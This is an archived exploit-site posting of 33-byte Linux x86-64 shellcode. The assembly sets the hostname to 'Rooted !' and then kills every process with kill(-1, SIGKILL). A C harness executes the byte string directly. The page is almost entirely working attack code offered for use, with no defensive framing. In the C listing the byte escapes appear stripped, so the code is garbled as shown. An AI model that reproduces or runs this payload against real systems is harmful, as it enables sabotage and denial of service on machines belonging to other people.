linux/x86-64 sethostname() & killall 33 bytes shellcode
Posted on 26 April 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>linux/x86-64 sethostname() & killall 33 bytes shellcode</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>======================================================= linux/x86-64 sethostname() & killall shellcode 33 bytes ======================================================= # Linux/x86_64 sethostname() & killall 33 bytes shellcode # Date: 2010-04-26 # Author: zbt # Tested on: x86_64 Debian GNU/Linux /* ; sethostname("Rooted !"); ; kill(-1, SIGKILL); section .text global _start _start: ;-- setHostName("Rooted !"); 22 bytes --; mov al, 0xaa mov r8, 'Rooted !' push r8 mov rdi, rsp mov sil, 0x8 syscall ;-- kill(-1, SIGKILL); 11 bytes --; push byte 0x3e pop rax push byte 0xff pop rdi push byte 0x9 pop rsi syscall */ int main(void) { char shellcode[] = "xb0xaax49xb8x52x6fx6fx74x65x64x20x21x41x50x48x89" "xe7x40xb6x08x0fx05x6ax3ex58x6axffx5fx6ax09x5ex0fx05"; (*(void (*)()) shellcode)(); return 0; } # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-04-26]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>